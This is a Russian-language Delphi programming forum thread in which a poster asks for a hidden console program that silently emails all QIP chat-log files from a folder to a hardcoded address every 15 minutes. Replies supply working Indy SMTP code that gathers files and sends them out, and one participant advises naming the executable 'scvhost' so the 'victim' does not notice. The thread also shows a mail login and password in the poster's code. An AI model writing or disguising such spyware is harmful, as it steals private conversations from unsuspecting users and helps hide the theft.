ОБСУЖДЕНИЕ

Отправка файла на мыло

21 ответов 16,7 тыс.
Статус
Закрыто для дальнейших ответов.
Автор темы
Здрасть. Сопсн такая тема. Нужно написать консольное приложение, которое бы при запуске отпровляло все файлы из заданной папки с именнем *.qhf на указанный в коде имейл. Очень требуется. Помогите начинающему! Киньте ссылки на мануалы, или если напишите код то буду в двойне благодарен!
Использую CodeGear Delphi for win32 2007 (если нужно).
 
Прууветь...
Сосна базара нима, туцаеш эту хреньку и без мазы будет щастя тебе
 
Спс огромное но пишет мол
RASConn: TRASConn;

Ниизвестная штука - "TRASConn" и соответсвенно все что далее не понимает. Чего у меня не хватает? =)
 
Полистал код и понял что опыта у меня маловато =) Вкуда писать адрес, путь к файлам и тд и тп? ибо что я сделал так это создал консольное приложение и вместо стандартного кода впихнул этот (подравив немного граматические ошибки)
 
гы , а ну да то под D5 код подходить

Вот тут неплохо расписано, да и вообще с такими вапросами надо сразу в гугл обращаться
 
А ты попробуй IdSMTPServer. Индюшная компонента. Т. е. берем TIdMessage, заполняем в ней поля и добавляем Attachments (т. е. присоединения, или, в твоем случае, файлы). У меня есть исходники похожего назначения, могу сбросить (даже статья где-то была). Затем ставим TIdSmtpServer, указываем в нем свое мыло, логин и пароль, и тремя методами Connect, Authentificate и Send(Message), где Message - наша TIDMessage отправляем сообщения. Мой пост не тянет на исчерпываемость сведений, но, сорри, опаздываю :).
 
Для: Coldfate
я собственно и дал ссілку на индюшёніе компоненты... пишем одно и тоже
 
В той справке написанно всунуть на форму - а мне нельзя форму. мне нужно скрытное приложение. тоясть вообще невидно никак. тихонечко сидит и шлет каждые 15 мин.

Так с этой проблемой я разобрался. спс. ща буду пытатся.
 
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'AuthenticationType'
[DCC Error] Project1.dpr(15): E2003 Undeclared identifier: 'atLogin'


Появилось на стадии добавления

IdSMTP1.AuthenticationType:=atLogin;
IdSMTP1.Username:='delphi';
IdSMTP1.Password:='something';
 
Для: aspcartman
в uses IdSMTP есть (юный вирусмейкер <_<) ?

мне нужно скрытное приложение
view-project manager-улаляешь все кроме (project1.exe)-view source
в нем пишешь uses IdMessageClient, IdSMTP
и дальше кодом
var sender_vir: Tidsmtp;
sender_vir:= tidsmtp.create(Application)
......
вот рабочая процедура(из Internet)
Код:
procedure TForm1.SendMail(Host, Username, Password, Subj, Recip, From, Attach: string);
var
M: TIdMessage;
begin
M:=TIdMessage.Create(Form1);
M.From.Text:=From;				// От кого
M.Recipients.Add;				 // Добавили получателя
M.Recipients.Items[0].Text:=Recip; // Получатель
M.Subject:=subj;				 // Тема
TIdAttachment.Create(M.MessageParts, Attach); // Аттачмент
// Соединяемся

Memo1.Lines.Add('Соединение с сервером...');
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Host:=Host;						// Сервер
IdSMTP1.Username:=UserName;				// Логин
IdSMTP1.Password:=Password;				// Пароль
try
// Пробуем соединиться
IdSMTP1.Connect();
except
Memo1.Lines.Add('Ошибка! Сервер не найден.');
exit;
end;
// Пробуем отправить файл
try
if IdSMTP1.Connected then begin
Memo1.Lines.Add('Отправка файла...');
IdSMTP1.Send(M);
IdSMTP1.Disconnect;
Memo1.Lines.Add('Файл успешно отправлен.');
Button2.Enabled:=false;
end;
except
Memo1.Lines.Add('Ошибка соединения. Данные не отправлены.');
IdSMTP1.Disconnect;
end;
end;
 
Обижаешь, есть канешна.

Процедурка не подходит по одной простой причине что мненужно скрытое приложение.

Кстати, где брать INDY? Я его брал с их сайта, вообще както боком поставилось. Protocols вообще не щакомпилилсь и соответственно не поставились. Вообще конкретная мусорка получилась. Наверное ща делфю переустановлю.

Странно делфя 2007 весит 1,2гига (до этого юзал 70мб лайтную) и нету инди.
 
Для: aspcartman
Код:
program Project2;

uses 
Forms,
IdMessage, IdSMTP;
// Если нет в палитре компонетов то
//		IdSMTP in 'Путь\до\IdSMTP.pas',
//		  IdMessage in 'Путь\до\IdMessage.pas';
//
//
//
//

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;


begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application );
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';//логин
sender1.Password :='';//пароль 
try
sender1.Connect();
except
exit;
end;
if sender1.Connected then
begin
att:= TIdMessage.Create(Application );
att.From.Text :='';// от кого 
att.Recipients.Add.Text :='';// кому
TIdAttachment.Create(att.MessageParts, 'c:\Web.log');
sender1.Send(att )
end;



end.
 
Спасибо. Щас посмотрю. Покачто вот что у меня получилось:
Код:
program Project2;

{$APPTYPE CONSOLE}

uses
SysUtils, Idsmtp, IdMessageClient, IdSMTPBase;
var
IdSMTP1: TIdSMTP;
Msg: TIdMessage;
begin
IdSMTP1.Port:=25;
IdSMTP1.Host := 'smtp.mail.ru';
IdSMTP1.Connect(5000);
IdSMTP1.AuthType:=satDefault;
IdSMTP1.Username:='iorka';
IdSMTP1.Password:='300358';
Msg.Subject:='тема сообщения';					 //текст темы сообщения
Msg.Recipients.EMailAddresses:='bogdanwe@mail.ru';
//указываем адрес получателя
Msg.From.Adress:='delphi@mail.ru';		 //указываем автора письма
Msg.Body.Text:='текст сообщения';			 //размещаем текст сообщения
Msg.Date:=StrToDate('01.12.2004');//дата отправки письма может быть любой
if IdSMTP1.Connected=True then IdSMTP1.Send(Msg);
end.



Он не понимает TIdMessage и соответственно все что начиается на msg не пашет
 
Для: aspcartman
только переименовать в scvhost не забудь <_<


Для: aspcartman
uses
IdMessage, IdSMTP;


Для: aspcartman
IdMessageClient выкини его
 
Прошу прощения за тупость ))) Нужнобыло в юзыз IdMessage всунуть

А кого в переменовать и зачем? =)
 
Для: aspcartman
чтоб жертва не догадалась <_<
 
<_<

Ну вот оставляю все как есть, пишу ниже даты до if
TIdAttachment.Create(Msg.MessageParts,'ПУТЬ'); но не пашет
 
Для: aspcartman
в uses SysUtils
в var
f: TSearchRec ;
FindFirst('c:\*.log',faAnyFile ,f);
if F.name <> '' then
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
while FindNext(F) = 0 do
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );
end;
FindClose(f);
sender1.Send(att )
end;
 
Ну воть =)

Хочу прибавить к письму все файлы аля
C:\programm files\qip\logs\*.sqf
и отправить их одним сообщением.


ЗЫ

TIdAttachment.Create(Msg.MessageParts,'Ну тут типа путь к одному файлику');

пишет

[DCC Error] Project2.dpr(28): E2034 Too many actual parameters
[DCC Warning] Project2.dpr(28): W1020 Constructing instance of 'TIdAttachment' containing abstract method 'TIdAttachment.OpenLoadStream'
 
Для: aspcartman
Код:
program Project2;

uses
forms,
IdMessage,
IdSMTP,SysUtils;

{$R *.res}
var
sender1: TIdSMTP;
att: TIdMessage;
f: TSearchRec;
begin
Application.Initialize;
Application.Run;
sender1:= TIdSMTP.Create(Application);
sender1.Host := 'smtp.list.ru';
sender1.Port :=25;
sender1.AuthenticationType := atLogin;
sender1.Username :='';
sender1.Password :='';
try
sender1.Connect();
except
exit;
end;
if sender1.Connected then
begin
att:= TIdMessage.Create(Application );
att.From.Text :='';
att.Recipients.Add.Text :='';
FindFirst('c:\*.log',faAnyFile ,f);
if F.name <> '' then
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

while FindNext(F) = 0 do
begin
TIdAttachment.Create(att.MessageParts, 'c:\'+f.Name );

end;
FindClose(f);
sender1.Send(att );
end;

end;



end.
 
Статус
Закрыто для дальнейших ответов.